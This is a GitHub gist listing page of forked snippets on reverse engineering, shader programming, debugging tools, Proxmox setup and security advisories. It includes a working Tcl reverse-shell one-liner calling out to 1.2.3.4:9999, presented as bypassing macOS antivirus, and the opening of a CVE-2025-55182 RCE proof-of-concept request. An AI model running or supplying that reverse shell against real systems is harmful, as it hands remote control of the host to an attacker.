Skip to content

Instantly share code, notes, and snippets.

View gmh5225's full-sized avatar
🙃

gmh5225.eth gmh5225

🙃
View GitHub Profile
@gmh5225
gmh5225 / ida_configuration.md
Created January 6, 2026 04:47 — forked from you0708/ida_configuration.md
自分的 IDA Pro のオススメ設定

自分的 IDA のオススメ設定

逆アセンブル画面メインで使う自分の IDA の設定。設定の保存方法は以下のとおり。

  • 設定した後に、Windows -> Save desktop... -> Default で保存
    • ウインドウ配置だけでなく、表示に関する多くの設定はこれで保存可能
  • $IDADIR/cfg 内の設定値を参照し、それらの設定を変更した内容だけを記載した .cfg ファイルを $IDAUSR/cfg に配置
@gmh5225
gmh5225 / FastUniformLoadWithWaveOps.txt
Created January 6, 2026 04:40 — forked from sebbbi/FastUniformLoadWithWaveOps.txt
Fast uniform load with wave ops (up to 64x speedup)
In shader programming, you often run into a problem where you want to iterate an array in memory over all pixels in a compute shader
group (tile). Tiled deferred lighting is the most common case. 8x8 tile loops over a light list culled for that tile.
Simplified HLSL code looks like this:
Buffer<float4> lightDatas;
Texture2D<uint2> lightStartCounts;
RWTexture2D<float4> output;
[numthreads(8, 8, 1)]
@gmh5225
gmh5225 / reverse_shell.tcl
Created December 20, 2025 04:10 — forked from tokyoneon/reverse_shell.tcl
Use One Tclsh Command to Bypass Antivirus #macOS
# https://null-byte.wonderhowto.com/how-to/hacking-macos-use-one-tclsh-command-bypass-antivirus-protections-0186330/
set s [socket 1.2.3.4 9999];while 42 { puts -nonewline $s "hacker> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;
@gmh5225
gmh5225 / 00Publication_CVE-2025-56157-Disclosure.md
Created December 19, 2025 16:41 — forked from Cristliu/00Publication_CVE-2025-56157-Disclosure.md
CVE-2025-56157 Security Advisory - Default Credentials in Dify

Security Advisory: CVE-2025-56157 - Default Credentials in Dify

CVE ID: CVE-2025-56157 Date: 12/18/2025 Vendor: LangGenius (Dify) Product: Dify Affected Versions: <= v1.5.1 Vulnerability Type: Insecure Permissions / Default Credentials Severity: High (Remote Code Execution, Privilege Escalation, Information Disclosure)

@gmh5225
gmh5225 / CVE-2025-55182.http
Created December 5, 2025 09:01 — forked from maple3142/CVE-2025-55182.http
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@gmh5225
gmh5225 / bata24_gef_install_uv_archlinux.sh
Created November 30, 2025 10:55 — forked from toratako/bata24_gef_install_uv_archlinux.sh
Install bata24/gef on Arch Linux.
#!/bin/sh -ex
# Original: https://github.com/bata24/gef/blob/dev/install-uv.sh
# License: https://github.com/bata24/gef/blob/dev/LICENSE
# Modified for Arch Linux support.
echo "[+] Configuration"
GEF_REPO_URL="https://raw.githubusercontent.com/bata24/gef/dev/gef.py"
GEF_REPO_BRANCH="dev"
RP_VERSION="v2.1.4"
@gmh5225
gmh5225 / proxmox.md
Created November 1, 2025 11:48 — forked from scyto/proxmox.md
my proxmox cluster

ProxMox Cluster - Soup-to-Nutz

aka what i did to get from nothing to done.

note: these are designed to be primarily a re-install guide for myself (writing things down helps me memorize the knowledge), as such don't take any of this on blind faith - some areas are well tested and the docs are very robust, some items, less so). YMMV

Purpose of Proxmox cluster project

Required Outomces of cluster project

nof1.ai Alpha Arena 提示词工程逆向分析

逆向工程说明: 本文档基于 nof1.ai Alpha Arena 的公开文档、交易行为模式、API 响应格式和社区讨论,系统性地逆向推导出其 System Prompt 和 User Prompt 的完整结构,欢迎各路大佬戳戳评论,一起来进行这个有趣的实验。

GitHub - nof0 Follow @wquguru

目录

@gmh5225
gmh5225 / package.json
Created October 15, 2025 02:48 — forked from niespodd/package.json
Making web3/bitcore-lib work with Angular 6-11 and >=11
{...
"scripts": {
"postinstall": "node patch.js",
...
}
}